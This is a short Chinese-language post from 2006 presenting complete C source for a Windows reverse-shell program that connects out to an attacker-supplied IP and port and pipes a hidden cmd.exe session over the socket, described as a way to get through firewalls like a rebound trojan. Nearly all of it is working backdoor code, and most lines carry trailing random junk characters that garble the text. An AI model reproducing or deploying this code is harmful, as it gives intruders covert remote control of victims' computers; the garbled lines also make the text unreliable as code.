Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 oS|~\,p"  
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/* ============================== {,C8}8a W  
Rebound port in Windows NT U <$xp  
By wind,2006/7 |afK
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===============================*/ Y{|~A  
#include PEn^.v@  
#include 0?;Hmq3  
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#pragma comment(lib,"wsock32.lib") Rpd/9x.)&  
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void OutputShell(); } 9s  
SOCKET sClient; '{k Nbx51  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &
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void main(int argc,char **argv) 3udIe$.Q  
{ QuRg(K%:  
WSADATA stWsaData; ]`H.qV  
int nRet; x,G6`|Hl  
SOCKADDR_IN stSaiClient,stSaiServer; TdIFZ[<7  
sP8&p*TJF  
if(argc != 3) r<N*N,~  
{ ;fME4Sp  
printf("Useage:\n\rRebound DestIP DestPort\n"); 17]
31  
return; v/+
}FS=  
} e+ w  
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WSAStartup(MAKEWORD(2,2),&stWsaData); xt0j9{p  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `v2l1CQ:^  
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stSaiClient.sin_family = AF_INET; d;:&3r|X  
stSaiClient.sin_port = htons(0); D % ,yA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kf^F#dA  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KrG6z#)Uz  
{ .p~;U|h"  
printf("Bind Socket Failed!\n"); HMd)64(  
return; cB=u;$k@*  
}
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stSaiServer.sin_family = AF_INET; nKkTnTSa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n<&R"89  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tg3JU\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :Fp
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{ 6YGr"Kj &  
printf("Connect Error!"); e`1s[ ^B  
return; DC7}Xly(  
} |o) _=Fx  
OutputShell();   NX_S  
} tSa%ZkS  
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void OutputShell() yS3s5C{C  
{ 6dp_R2zH~o  
char szBuff[1024]; 5B/\vLHg4  
SECURITY_ATTRIBUTES stSecurityAttributes; pT$AdvI]  
OSVERSIONINFO stOsversionInfo; B4Oa7$M/U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <qt%MM [Y  
STARTUPINFO stStartupInfo; %$?Q%  
char *szShell; cs;Gk:  
PROCESS_INFORMATION stProcessInformation; bA,D]  
unsigned long lBytesRead; --)[>6)I  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~J:lCu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .6#2i <oPW  
stSecurityAttributes.lpSecurityDescriptor = 0; kO4~N-&  
stSecurityAttributes.bInheritHandle = TRUE; >[=`{B  
{v 0(0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y-k-E/V}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LnX^*;P5t  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f`J"A:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C( ;7*]  
stStartupInfo.wShowWindow = SW_HIDE; ~zRd||qv  
stStartupInfo.hStdInput = hReadPipe; t$iU|^'uV  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <{kj}nxz  
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GetVersionEx(&stOsversionInfo); &pl;U\dc*a  
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switch(stOsversionInfo.dwPlatformId)
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{ XW:(FzF  
case 1: GssoT<Y)Z  
szShell = "command.com"; (qdk &  
break; PeaD]  
default: "&F/'';0}E  
szShell = "cmd.exe"; 5GP'
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break; N@S;{uK  
} F$C:4c  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nr;/:[F  
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send(sClient,szMsg,77,0); '/?&Gol-  
while(1) #D8)rs.9  
{ .~']gih#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %l,EA#89s  
if(lBytesRead) s!Vtwp9  
{ 1>1!oml1E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lM]7@A
 
send(sClient,szBuff,lBytesRead,0); on|>"F`pb  
} ?##GY;#  
else O"GzeEY7  
{ kJ >B)  
lBytesRead=recv(sClient,szBuff,1024,0); xgVt0=q  
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y|ZJ-[qg  
} URwFNOM2  
} 6}0#({s:R  
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return; E#OKeMK  
}